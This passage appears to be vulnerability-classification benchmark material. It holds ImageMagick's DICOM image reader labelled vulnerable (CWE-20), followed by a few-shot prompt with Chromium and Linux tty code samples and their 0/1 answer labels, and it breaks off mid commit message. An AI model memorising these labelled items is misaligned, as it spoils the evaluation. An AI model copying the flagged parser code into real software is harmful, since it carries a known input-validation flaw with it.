RelinquishMagickMemory(greenmap); \ if (redmap != (int *) NULL) \ redmap=(int *) RelinquishMagickMemory(redmap); \ if (stream_info->offsets != (ssize_t *) NULL) \ stream_info->offsets=(ssize_t *) RelinquishMagickMemory( \ stream_info->offsets); \ if (stream_info != (DCMStreamInfo *) NULL) \ stream_info=(DCMStreamInfo *) RelinquishMagickMemory(stream_info); \ ThrowReaderException((exception),(message)); \ } char explicit_vr[MagickPathExtent], implicit_vr[MagickPathExtent], magick[MagickPathExtent], photometric[MagickPathExtent]; DCMInfo info; DCMStreamInfo *stream_info; Image *image; int *bluemap, datum, *greenmap, *graymap, *redmap; MagickBooleanType explicit_file, explicit_retry, use_explicit; MagickOffsetType offset; register unsigned char *p; register ssize_t i; size_t colors, height, length, number_scenes, quantum, status, width; ssize_t count, scene; unsigned char *data; unsigned short group, element; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info,exception); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } image->depth=8UL; image->endian=LSBEndian; /* Read DCM preamble. */ (void) memset(&info,0,sizeof(info)); data=(unsigned char *) NULL; graymap=(int *) NULL; redmap=(int *) NULL; greenmap=(int *) NULL; bluemap=(int *) NULL; stream_info=(DCMStreamInfo *) AcquireMagickMemory(sizeof(*stream_info)); if (stream_info == (DCMStreamInfo *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); (void) memset(stream_info,0,sizeof(*stream_info)); count=ReadBlob(image,128,(unsigned char *) magick); if (count != 128) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); count=ReadBlob(image,4,(unsigned char *) magick); if ((count != 4) || (LocaleNCompare(magick,"DICM",4) != 0)) { offset=SeekBlob(image,0L,SEEK_SET); if (offset < 0) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); } /* Read DCM Medical image. */ (void) CopyMagickString(photometric,"MONOCHROME1 ",MagickPathExtent); info.bits_allocated=8; info.bytes_per_pixel=1; info.depth=8; info.mask=0xffff; info.max_value=255UL; info.samples_per_pixel=1; info.signed_data=(~0UL); info.rescale_slope=1.0; data=(unsigned char *) NULL; element=0; explicit_vr[2]='\0'; explicit_file=MagickFalse; colors=0; redmap=(int *) NULL; greenmap=(int *) NULL; bluemap=(int *) NULL; graymap=(int *) NULL; height=0; number_scenes=1; use_explicit=MagickFalse; explicit_retry = MagickFalse; width=0; while (TellBlob(image) < (MagickOffsetType) GetBlobSize(image)) { for (group=0; (group != 0x7FE0) || (element != 0x0010) ; ) { /* Read a group. */ image->offset=(ssize_t) TellBlob(image); group=ReadBlobLSBShort(image); element=ReadBlobLSBShort(image); if ((group == 0xfffc) && (element == 0xfffc)) break; if ((group != 0x0002) && (image->endian == MSBEndian)) { group=(unsigned short) ((group << 8) | ((group >> 8) & 0xFF)); element=(unsigned short) ((element << 8) | ((element >> 8) & 0xFF)); } quantum=0; /* Find corresponding VR for this group and element. */ for (i=0; dicom_info[i].group < 0xffff; i++) if ((group == dicom_info[i].group) && (element == dicom_info[i].element)) break; (void) CopyMagickString(implicit_vr,dicom_info[i].vr,MagickPathExtent); count=ReadBlob(image,2,(unsigned char *) explicit_vr); if (count != 2) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); /* Check for "explicitness", but meta-file headers always explicit. */ if ((explicit_file == MagickFalse) && (group != 0x0002)) explicit_file=(isupper((unsigned char) *explicit_vr) != MagickFalse) && (isupper((unsigned char) *(explicit_vr+1)) != MagickFalse) ? MagickTrue : MagickFalse; use_explicit=((group == 0x0002) && (explicit_retry == MagickFalse)) || (explicit_file != MagickFalse) ? MagickTrue : MagickFalse; if ((use_explicit != MagickFalse) && (strncmp(implicit_vr,"xs",2) == 0)) (void) CopyMagickString(implicit_vr,explicit_vr,MagickPathExtent); if ((use_explicit == MagickFalse) || (strncmp(implicit_vr,"!!",2) == 0)) { offset=SeekBlob(image,(MagickOffsetType) -2,SEEK_CUR); if (offset < 0) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); quantum=4; } else { /* Assume explicit type. */ quantum=2; if ((strncmp(explicit_vr,"OB",2) == 0) || (strncmp(explicit_vr,"UN",2) == 0) || (strncmp(explicit_vr,"OW",2) == 0) || (strncmp(explicit_vr,"SQ",2) == 0)) { (void) ReadBlobLSBShort(image); quantum=4; } } datum=0; if (quantum == 4) { if (group == 0x0002) datum=ReadBlobLSBSignedLong(image); else datum=ReadBlobSignedLong(image); } else if (quantum == 2) { if (group == 0x0002) datum=ReadBlobLSBSignedShort(image); else datum=ReadBlobSignedShort(image); } quantum=0; length=1; if (datum != 0) { if ((strncmp(implicit_vr,"OW",2) == 0) || (strncmp(implicit_vr,"SS",2) == 0) || (strncmp(implicit_vr,"US",2) == 0)) quantum=2; else if ((strncmp(implicit_vr,"FL",2) == 0) || (strncmp(implicit_vr,"OF",2) == 0) || (strncmp(implicit_vr,"SL",2) == 0) || (strncmp(implicit_vr,"UL",2) == 0)) quantum=4; else if (strncmp(implicit_vr,"FD",2) == 0) quantum=8; else quantum=1; if (datum != ~0) length=(size_t) datum/quantum; else { /* Sequence and item of undefined length. */ quantum=0; length=0; } } if (image_info->verbose != MagickFalse) { /* Display Dicom info. */ if (use_explicit == MagickFalse) explicit_vr[0]='\0'; for (i=0; dicom_info[i].description != (char *) NULL; i++) if ((group == dicom_info[i].group) && (element == dicom_info[i].element)) break; (void) FormatLocaleFile(stdout,"0x%04lX %4ld %s-%s (0x%04lx,0x%04lx)", (unsigned long) image->offset,(long) length,implicit_vr,explicit_vr, (unsigned long) group,(unsigned long) element); if (dicom_info[i].description != (char *) NULL) (void) FormatLocaleFile(stdout," %s",dicom_info[i].description); (void) FormatLocaleFile(stdout,": "); } if ((group == 0x7FE0) && (element == 0x0010)) { if (image_info->verbose != MagickFalse) (void) FormatLocaleFile(stdout,"\n"); break; } /* Allocate space and read an array. */ data=(unsigned char *) NULL; if ((length == 1) && (quantum == 1)) datum=ReadBlobByte(image); else if ((length == 1) && (quantum == 2)) { if (group == 0x0002) datum=ReadBlobLSBSignedShort(image); else datum=ReadBlobSignedShort(image); } else if ((length == 1) && (quantum == 4)) { if (group == 0x0002) datum=ReadBlobLSBSignedLong(image); else datum=ReadBlobSignedLong(image); } else if ((quantum != 0) && (length != 0)) { if (length > (size_t) GetBlobSize(image)) ThrowDCMException(CorruptImageError, "InsufficientImageDataInFile"); if (~length >= 1) data=(unsigned char *) AcquireQuantumMemory(length+1,quantum* sizeof(*data)); if (data == (unsigned char *) NULL) ThrowDCMException(ResourceLimitError, "MemoryAllocationFailed"); count=ReadBlob(image,(size_t) quantum*length,data); if (count != (ssize_t) (quantum*length)) { if (image_info->verbose != MagickFalse) (void) FormatLocaleFile(stdout,"count=%d quantum=%d " "length=%d group=%d\n",(int) count,(int) quantum,(int) length,(int) group); ThrowDCMException(CorruptImageError, "InsufficientImageDataInFile"); } data[length*quantum]='\0'; } if ((((unsigned int) group << 16) | element) == 0xFFFEE0DD) { if (data != (unsigned char *) NULL) data=(unsigned char *) RelinquishMagickMemory(data); continue; } switch (group) { case 0x0002: { switch (element) { case 0x0010: { char transfer_syntax[MagickPathExtent]; /* Transfer Syntax. */ if ((datum == 0) && (explicit_retry == MagickFalse)) { explicit_retry=MagickTrue; (void) SeekBlob(image,(MagickOffsetType) 0,SEEK_SET); group=0; element=0; if (image_info->verbose != MagickFalse) (void) FormatLocaleFile(stdout, "Corrupted image - trying explicit format\n"); break; } *transfer_syntax='\0'; if (data != (unsigned char *) NULL) (void) CopyMagickString(transfer_syntax,(char *) data, MagickPathExtent); if (image_info->verbose != MagickFalse) (void) FormatLocaleFile(stdout,"transfer_syntax=%s\n", (const char *) transfer_syntax); if (strncmp(transfer_syntax,"1.2.840.10008.1.2",17) == 0) { int subtype, type; type=1; subtype=0; if (strlen(transfer_syntax) > 17) { count=(ssize_t) sscanf(transfer_syntax+17,".%d.%d",&type, &subtype); if (count < 1) ThrowDCMException(CorruptImageError, "ImproperImageHeader"); } switch (type) { case 1: { image->endian=LSBEndian; break; } case 2: { image->endian=MSBEndian; break; } case 4: { if ((subtype >= 80) && (subtype <= 81)) image->compression=JPEGCompression; else if ((subtype >= 90) && (subtype <= 93)) image->compression=JPEG2000Compression; else image->compression=JPEGCompression; break; } case 5: { image->compression=RLECompression; break; } } } break; } default: break; } break; } case 0x0028: { switch (element) { case 0x0002: { /* Samples per pixel. */ info.samples_per_pixel=(size_t) datum; if ((info.samples_per_pixel == 0) || (info.samples_per_pixel > 4)) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); break; } case 0x0004: { /* Photometric interpretation. */ if (data == (unsigned char *) NULL) break; for (i=0; i < (ssize_t) MagickMin(length,MagickPathExtent-1); i++) photometric[i]=(char) data[i]; photometric[i]='\0'; info.polarity=LocaleCompare(photometric,"MONOCHROME1 ") == 0 ? MagickTrue : MagickFalse; break; } case 0x0006: { /* Planar configuration. */ if (datum == 1) image->interlace=PlaneInterlace; break; } case 0x0008: { /* Number of frames. */ if (data == (unsigned char *) NULL) break; number_scenes=StringToUnsignedLong((char *) data); break; } case 0x0010: { /* Image rows. */ height=(size_t) datum; break; } case 0x0011: { /* Image columns. */ width=(size_t) datum; break; } case 0x0100: { /* Bits allocated. */ info.bits_allocated=(size_t) datum; info.bytes_per_pixel=1; if (datum > 8) info.bytes_per_pixel=2; info.depth=info.bits_allocated; if ((info.depth == 0) || (info.depth > 32)) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); info.max_value=(1UL << info.bits_allocated)-1; image->depth=info.depth; break; } case 0x0101: { /* Bits stored. */ info.significant_bits=(size_t) datum; info.bytes_per_pixel=1; if (info.significant_bits > 8) info.bytes_per_pixel=2; info.depth=info.significant_bits; if ((info.depth == 0) || (info.depth > 16)) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); info.max_value=(1UL << info.significant_bits)-1; info.mask=(size_t) GetQuantumRange(info.significant_bits); image->depth=info.depth; break; } case 0x0102: { /* High bit. */ break; } case 0x0103: { /* Pixel representation. */ info.signed_data=(size_t) datum; break; } case 0x1050: { /* Visible pixel range: center. */ if (data != (unsigned char *) NULL) info.window_center=StringToDouble((char *) data,(char **) NULL); break; } case 0x1051: { /* Visible pixel range: width. */ if (data != (unsigned char *) NULL) info.window_width=StringToDouble((char *) data,(char **) NULL); break; } case 0x1052: { /* Rescale intercept */ if (data != (unsigned char *) NULL) info.rescale_intercept=StringToDouble((char *) data, (char **) NULL); break; } case 0x1053: { /* Rescale slope */ if (data != (unsigned char *) NULL) info.rescale_slope=StringToDouble((char *) data,(char **) NULL); break; } case 0x1200: case 0x3006: { /* Populate graymap. */ if (data == (unsigned char *) NULL) break; colors=(size_t) (length/info.bytes_per_pixel); datum=(int) colors; if (graymap != (int *) NULL) graymap=(int *) RelinquishMagickMemory(graymap); graymap=(int *) AcquireQuantumMemory(MagickMax(colors,65536), sizeof(*graymap)); if (graymap == (int *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); (void) memset(graymap,0,MagickMax(colors,65536)* sizeof(*graymap)); for (i=0; i < (ssize_t) colors; i++) if (info.bytes_per_pixel == 1) graymap[i]=(int) data[i]; else graymap[i]=(int) ((short *) data)[i]; break; } case 0x1201: { unsigned short index; /* Populate redmap. */ if (data == (unsigned char *) NULL) break; colors=(size_t) (length/2); datum=(int) colors; if (redmap != (int *) NULL) redmap=(int *) RelinquishMagickMemory(redmap); redmap=(int *) AcquireQuantumMemory(MagickMax(colors,65536), sizeof(*redmap)); if (redmap == (int *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); (void) memset(redmap,0,MagickMax(colors,65536)* sizeof(*redmap)); p=data; for (i=0; i < (ssize_t) colors; i++) { if (image->endian == MSBEndian) index=(unsigned short) ((*p << 8) | *(p+1)); else index=(unsigned short) (*p | (*(p+1) << 8)); redmap[i]=(int) index; p+=2; } break; } case 0x1202: { unsigned short index; /* Populate greenmap. */ if (data == (unsigned char *) NULL) break; colors=(size_t) (length/2); datum=(int) colors; if (greenmap != (int *) NULL) greenmap=(int *) RelinquishMagickMemory(greenmap); greenmap=(int *) AcquireQuantumMemory(MagickMax(colors,65536), sizeof(*greenmap)); if (greenmap == (int *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); (void) memset(greenmap,0,MagickMax(colors,65536)* sizeof(*greenmap)); p=data; for (i=0; i < (ssize_t) colors; i++) { if (image->endian == MSBEndian) index=(unsigned short) ((*p << 8) | *(p+1)); else index=(unsigned short) (*p | (*(p+1) << 8)); greenmap[i]=(int) index; p+=2; } break; } case 0x1203: { unsigned short index; /* Populate bluemap. */ if (data == (unsigned char *) NULL) break; colors=(size_t) (length/2); datum=(int) colors; if (bluemap != (int *) NULL) bluemap=(int *) RelinquishMagickMemory(bluemap); bluemap=(int *) AcquireQuantumMemory(MagickMax(colors,65536), sizeof(*bluemap)); if (bluemap == (int *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); (void) memset(bluemap,0,MagickMax(colors,65536)* sizeof(*bluemap)); p=data; for (i=0; i < (ssize_t) colors; i++) { if (image->endian == MSBEndian) index=(unsigned short) ((*p << 8) | *(p+1)); else index=(unsigned short) (*p | (*(p+1) << 8)); bluemap[i]=(int) index; p+=2; } break; } default: break; } break; } case 0x2050: { switch (element) { case 0x0020: { if ((data != (unsigned char *) NULL) && (strncmp((char *) data,"INVERSE",7) == 0)) info.polarity=MagickTrue; break; } default: break; } break; } default: break; } if (data != (unsigned char *) NULL) { char *attribute; for (i=0; dicom_info[i].description != (char *) NULL; i++) if ((group == dicom_info[i].group) && (element == dicom_info[i].element)) break; if (dicom_info[i].description != (char *) NULL) { attribute=AcquireString("dcm:"); (void) ConcatenateString(&attribute,dicom_info[i].description); for (i=0; i < (ssize_t) MagickMax(length,4); i++) if (isprint((int) data[i]) == MagickFalse) break; if ((i == (ssize_t) length) || (length > 4)) { (void) SubstituteString(&attribute," ",""); (void) SetImageProperty(image,attribute,(char *) data, exception); } attribute=DestroyString(attribute); } } if (image_info->verbose != MagickFalse) { if (data == (unsigned char *) NULL) (void) FormatLocaleFile(stdout,"%d\n",datum); else { /* Display group data. */ for (i=0; i < (ssize_t) MagickMax(length,4); i++) if (isprint((int) data[i]) == MagickFalse) break; if ((i != (ssize_t) length) && (length <= 4)) { ssize_t j; datum=0; for (j=(ssize_t) length-1; j >= 0; j--) datum=(256*datum+data[j]); (void) FormatLocaleFile(stdout,"%d",datum); } else for (i=0; i < (ssize_t) length; i++) if (isprint((int) data[i]) != MagickFalse) (void) FormatLocaleFile(stdout,"%c",data[i]); else (void) FormatLocaleFile(stdout,"%c",'.'); (void) FormatLocaleFile(stdout,"\n"); } } if (data != (unsigned char *) NULL) data=(unsigned char *) RelinquishMagickMemory(data); if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); break; } } if ((group == 0xfffc) && (element == 0xfffc)) { Image *last; last=RemoveLastImageFromList(&image); if (last != (Image *) NULL) last=DestroyImage(last); break; } if ((width == 0) || (height == 0)) ThrowDCMException(CorruptImageError,"ImproperImageHeader"); image->columns=(size_t) width; image->rows=(size_t) height; if (info.signed_data == 0xffff) info.signed_data=(size_t) (info.significant_bits == 16 ? 1 : 0); if ((image->compression == JPEGCompression) || (image->compression == JPEG2000Compression)) { Image *images; ImageInfo *read_info; int c; /* Read offset table. */ for (i=0; i < (ssize_t) stream_info->remaining; i++) if (ReadBlobByte(image) == EOF) break; (void) (((ssize_t) ReadBlobLSBShort(image) << 16) | ReadBlobLSBShort(image)); length=(size_t) ReadBlobLSBLong(image); if (length > (size_t) GetBlobSize(image)) ThrowDCMException(CorruptImageError,"InsufficientImageDataInFile"); stream_info->offset_count=length >> 2; if (stream_info->offset_count != 0) { if (stream_info->offsets != (ssize_t *) NULL) stream_info->offsets=(ssize_t *) RelinquishMagickMemory( stream_info->offsets); stream_info->offsets=(ssize_t *) AcquireQuantumMemory( stream_info->offset_count,sizeof(*stream_info->offsets)); if (stream_info->offsets == (ssize_t *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) stream_info->offset_count; i++) stream_info->offsets[i]=(ssize_t) ReadBlobLSBSignedLong(image); offset=TellBlob(image); for (i=0; i < (ssize_t) stream_info->offset_count; i++) stream_info->offsets[i]+=offset; } /* Handle non-native image formats. */ read_info=CloneImageInfo(image_info); SetImageInfoBlob(read_info,(void *) NULL,0); images=NewImageList(); for (scene=0; scene < (ssize_t) number_scenes; scene++) { char filename[MagickPathExtent]; const char *property; FILE *file; Image *jpeg_image; int unique_file; unsigned int tag; tag=((unsigned int) ReadBlobLSBShort(image) << 16) | ReadBlobLSBShort(image); length=(size_t) ReadBlobLSBLong(image); if (tag == 0xFFFEE0DD) break; /* sequence delimiter tag */ if (tag != 0xFFFEE000) { read_info=DestroyImageInfo(read_info); ThrowDCMException(CorruptImageError,"ImproperImageHeader"); } file=(FILE *) NULL; unique_file=AcquireUniqueFileResource(filename); if (unique_file != -1) file=fdopen(unique_file,"wb"); if (file == (FILE *) NULL) { (void) RelinquishUniqueFileResource(filename); ThrowFileException(exception,FileOpenError, "UnableToCreateTemporaryFile",filename); break; } for (c=EOF; length != 0; length--) { c=ReadBlobByte(image); if (c == EOF) { ThrowFileException(exception,CorruptImageError, "UnexpectedEndOfFile",image->filename); break; } (void) fputc(c,file); } (void) fclose(file); if (c == EOF) break; (void) FormatLocaleString(read_info->filename,MagickPathExtent, "jpeg:%s",filename); if (image->compression == JPEG2000Compression) (void) FormatLocaleString(read_info->filename,MagickPathExtent, "j2k:%s",filename); jpeg_image=ReadImage(read_info,exception); if (jpeg_image != (Image *) NULL) { ResetImagePropertyIterator(image); property=GetNextImageProperty(image); while (property != (const char *) NULL) { (void) SetImageProperty(jpeg_image,property, GetImageProperty(image,property,exception),exception); property=GetNextImageProperty(image); } AppendImageToList(&images,jpeg_image); } (void) RelinquishUniqueFileResource(filename); } read_info=DestroyImageInfo(read_info); if (stream_info->offsets != (ssize_t *) NULL) stream_info->offsets=(ssize_t *) RelinquishMagickMemory(stream_info->offsets); stream_info=(DCMStreamInfo *) RelinquishMagickMemory(stream_info); if (info.scale != (Quantum *) NULL) info.scale=(Quantum *) RelinquishMagickMemory(info.scale); if (graymap != (int *) NULL) graymap=(int *) RelinquishMagickMemory(graymap); if (bluemap != (int *) NULL) bluemap=(int *) RelinquishMagickMemory(bluemap); if (greenmap != (int *) NULL) greenmap=(int *) RelinquishMagickMemory(greenmap); if (redmap != (int *) NULL) redmap=(int *) RelinquishMagickMemory(redmap); image=DestroyImageList(image); return(GetFirstImageInList(images)); } if (info.depth != (1UL*MAGICKCORE_QUANTUM_DEPTH)) { QuantumAny range; /* Compute pixel scaling table. */ length=(size_t) (GetQuantumRange(info.depth)+1); if (length > (size_t) GetBlobSize(image)) ThrowDCMException(CorruptImageError,"InsufficientImageDataInFile"); if (info.scale != (Quantum *) NULL) info.scale=(Quantum *) RelinquishMagickMemory(info.scale); info.scale=(Quantum *) AcquireQuantumMemory(MagickMax(length,256), sizeof(*info.scale)); if (info.scale == (Quantum *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); (void) memset(info.scale,0,MagickMax(length,256)* sizeof(*info.scale)); range=GetQuantumRange(info.depth); for (i=0; i <= (ssize_t) GetQuantumRange(info.depth); i++) info.scale[i]=ScaleAnyToQuantum((size_t) i,range); } if (image->compression == RLECompression) { unsigned int tag; /* Read RLE offset table. */ for (i=0; i < (ssize_t) stream_info->remaining; i++) { int c; c=ReadBlobByte(image); if (c == EOF) break; } tag=((unsigned int) ReadBlobLSBShort(image) << 16) | ReadBlobLSBShort(image); (void) tag; length=(size_t) ReadBlobLSBLong(image); if (length > (size_t) GetBlobSize(image)) ThrowDCMException(CorruptImageError,"InsufficientImageDataInFile"); stream_info->offset_count=length >> 2; if (stream_info->offset_count != 0) { stream_info->offsets=(ssize_t *) AcquireQuantumMemory( stream_info->offset_count,sizeof(*stream_info->offsets)); if (stream_info->offsets == (ssize_t *) NULL) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) stream_info->offset_count; i++) { stream_info->offsets[i]=(ssize_t) ReadBlobLSBSignedLong(image); if (EOFBlob(image) != MagickFalse) break; } offset=TellBlob(image)+8; for (i=0; i < (ssize_t) stream_info->offset_count; i++) stream_info->offsets[i]+=offset; } } for (scene=0; scene < (ssize_t) number_scenes; scene++) { if (image_info->ping != MagickFalse) break; image->columns=(size_t) width; image->rows=(size_t) height; image->depth=info.depth; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) break; image->colorspace=RGBColorspace; (void) SetImageBackgroundColor(image,exception); if ((image->colormap == (PixelInfo *) NULL) && (info.samples_per_pixel == 1)) { int index; size_t one; one=1; if (colors == 0) colors=one << info.depth; if (AcquireImageColormap(image,colors,exception) == MagickFalse) ThrowDCMException(ResourceLimitError,"MemoryAllocationFailed"); if (redmap != (int *) NULL) for (i=0; i < (ssize_t) colors; i++) { index=redmap[i]; if ((info.scale != (Quantum *) NULL) && (index >= 0) && (index <= (int) info.max_value)) index=(int) info.scale[index]; image->colormap[i].red=(MagickRealType) index; } if (greenmap != (int *) NULL) for (i=0; i < (ssize_t) colors; i++) { index=greenmap[i]; if ((info.scale != (Quantum *) NULL) && (index >= 0) && (index <= (int) info.max_value)) index=(int) info.scale[index]; image->colormap[i].green=(MagickRealType) index; } if (bluemap != (int *) NULL) for (i=0; i < (ssize_t) colors; i++) { index=bluemap[i]; if ((info.scale != (Quantum *) NULL) && (index >= 0) && (index <= (int) info.max_value)) index=(int) info.scale[index]; image->colormap[i].blue=(MagickRealType) index; } if (graymap != (int *) NULL) for (i=0; i < (ssize_t) colors; i++) { index=graymap[i]; if ((info.scale != (Quantum *) NULL) && (index >= 0) && (index <= (int) info.max_value)) index=(int) info.scale[index]; image->colormap[i].red=(MagickRealType) index; image->colormap[i].green=(MagickRealType) index; image->colormap[i].blue=(MagickRealType) index; } } if (image->compression == RLECompression) { unsigned int tag; /* Read RLE segment table. */ for (i=0; i < (ssize_t) stream_info->remaining; i++) { int c; c=ReadBlobByte(image); if (c == EOF) break; } tag=((unsigned int) ReadBlobLSBShort(image) << 16) | ReadBlobLSBShort(image); stream_info->remaining=(size_t) ReadBlobLSBLong(image); if ((tag != 0xFFFEE000) || (stream_info->remaining <= 64) || (EOFBlob(image) != MagickFalse)) { if (stream_info->offsets != (ssize_t *) NULL) stream_info->offsets=(ssize_t *) RelinquishMagickMemory(stream_info->offsets); ThrowDCMException(CorruptImageError,"ImproperImageHeader"); } stream_info->count=0; stream_info->segment_count=ReadBlobLSBLong(image); for (i=0; i < 15; i++) stream_info->segments[i]=(ssize_t) ReadBlobLSBSignedLong(image); stream_info->remaining-=64; if (stream_info->segment_count > 1) { info.bytes_per_pixel=1; info.depth=8; if (stream_info->offset_count > 0) (void) SeekBlob(image,(MagickOffsetType) stream_info->offsets[0]+stream_info->segments[0],SEEK_SET); } } if ((info.samples_per_pixel > 1) && (image->interlace == PlaneInterlace)) { register ssize_t x; register Quantum *q; ssize_t y; /* Convert Planar RGB DCM Medical image to pixel packets. */ for (i=0; i < (ssize_t) info.samples_per_pixel; i++) { for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { switch ((int) i) { case 0: { SetPixelRed(image,ScaleCharToQuantum((unsigned char) ReadDCMByte(stream_info,image)),q); break; } case 1: { SetPixelGreen(image,ScaleCharToQuantum((unsigned char) ReadDCMByte(stream_info,image)),q); break; } case 2: { SetPixelBlue(image,ScaleCharToQuantum((unsigned char) ReadDCMByte(stream_info,image)),q); break; } case 3: { SetPixelAlpha(image,ScaleCharToQuantum((unsigned char) ReadDCMByte(stream_info,image)),q); break; } default: break; } q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } } } else { const char *option; /* Convert DCM Medical image to pixel packets. */ option=GetImageOption(image_info,"dcm:display-range"); if (option != (const char *) NULL) { if (LocaleCompare(option,"reset") == 0) info.window_width=0; } option=GetImageOption(image_info,"dcm:window"); if (option != (char *) NULL) { GeometryInfo geometry_info; MagickStatusType flags; flags=ParseGeometry(option,&geometry_info); if (flags & RhoValue) info.window_center=geometry_info.rho; if (flags & SigmaValue) info.window_width=geometry_info.sigma; info.rescale=MagickTrue; } option=GetImageOption(image_info,"dcm:rescale"); if (option != (char *) NULL) info.rescale=IsStringTrue(option); if ((info.window_center != 0) && (info.window_width == 0)) info.window_width=info.window_center; status=ReadDCMPixels(image,&info,stream_info,MagickTrue,exception); if ((status != MagickFalse) && (stream_info->segment_count > 1)) { if (stream_info->offset_count > 0) (void) SeekBlob(image,(MagickOffsetType) stream_info->offsets[0]+stream_info->segments[1],SEEK_SET); (void) ReadDCMPixels(image,&info,stream_info,MagickFalse, exception); } } if (SetImageGray(image,exception) != MagickFalse) (void) SetImageColorspace(image,GRAYColorspace,exception); if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); break; } /* Proceed to next image. */ if (image_info->number_scenes != 0) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; if (scene < (ssize_t) (number_scenes-1)) { /* Allocate next image structure. */ AcquireNextImage(image_info,image,exception); if (GetNextImageInList(image) == (Image *) NULL) { status=MagickFalse; break; } image=SyncNextImageInList(image); status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; } } if (TellBlob(image) < (MagickOffsetType) GetBlobSize(image)) { /* Allocate next image structure. */ AcquireNextImage(image_info,image,exception); if (GetNextImageInList(image) == (Image *) NULL) { status=MagickFalse; break; } image=SyncNextImageInList(image); status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; } } /* Free resources. */ if (stream_info->offsets != (ssize_t *) NULL) stream_info->offsets=(ssize_t *) RelinquishMagickMemory(stream_info->offsets); stream_info=(DCMStreamInfo *) RelinquishMagickMemory(stream_info); if (info.scale != (Quantum *) NULL) info.scale=(Quantum *) RelinquishMagickMemory(info.scale); if (graymap != (int *) NULL) graymap=(int *) RelinquishMagickMemory(graymap); if (bluemap != (int *) NULL) bluemap=(int *) RelinquishMagickMemory(bluemap); if (greenmap != (int *) NULL) greenmap=(int *) RelinquishMagickMemory(greenmap); if (redmap != (int *) NULL) redmap=(int *) RelinquishMagickMemory(redmap); (void) CloseBlob(image); if (status == MagickFalse) return(DestroyImageList(image)); return(GetFirstImageInList(image)); } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1199 CWE ID: CWE-20 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void OnImageDecoded(const gfx::Image& decoded_image) { image_decoded_callback_.Run(decoded_image.AsBitmap()); delete this; } Commit Message: Local NTP: add smoke tests for doodles Split LogoService into LogoService interface and LogoServiceImpl to make it easier to provide fake data to the test. Bug: 768419 Cq-Include-Trybots: master.tryserver.chromium.linux:closure_compilation Change-Id: I84639189d2db1b24a2e139936c99369352bab587 Reviewed-on: https://chromium-review.googlesource.com/690198 Reviewed-by: Sylvain Defresne <[email protected]> Reviewed-by: Marc Treib <[email protected]> Commit-Queue: Chris Pickel <[email protected]> Cr-Commit-Position: refs/heads/master@{#505374} CWE ID: CWE-119 Target: 1 Example 2: Code: static void customElementCallbacksVoidMethodMethod(const v8::FunctionCallbackInfo<v8::Value>& info) { TestObjectPython* imp = V8TestObjectPython::toNative(info.Holder()); CustomElementCallbackDispatcher::CallbackDeliveryScope deliveryScope; imp->customElementCallbacksVoidMethod(); } Commit Message: document.location bindings fix BUG=352374 [email protected] Review URL: https://codereview.chromium.org/196343011 git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int receive_room(struct tty_struct *tty) { struct n_tty_data *ldata = tty->disc_data; int left; if (I_PARMRK(tty)) { /* Multiply read_cnt by 3, since each byte might take up to * three times as many spaces when PARMRK is set (depending on * its flags, e.g. parity error). */ left = N_TTY_BUF_SIZE - read_cnt(ldata) * 3 - 1; } else left = N_TTY_BUF_SIZE - read_cnt(ldata) - 1; /* * If we are doing input canonicalization, and there are no * pending newlines, let characters through without limit, so * that erase characters will be handled. Other excess * characters will be beeped. */ if (left <= 0) left = ldata->icanon && ldata->canon_head == ldata->read_tail; return left; } Commit Message: n_tty: Fix n_tty_write crash when echoing in raw mode The tty atomic_write_lock does not provide an exclusion guarantee for the tty driver if the termios settings are LECHO & !OPOST. And since it is unexpected and not allowed to call TTY buffer helpers like tty_insert_flip_string concurrently, this may lead to crashes when concurrect writers call pty_write. In that case the following two writers: * the ECHOing from a workqueue and * pty_write from the process race and can overflow the corresponding TTY buffer like follows. If we look into tty_insert_flip_string_fixed_flag, there is: int space = 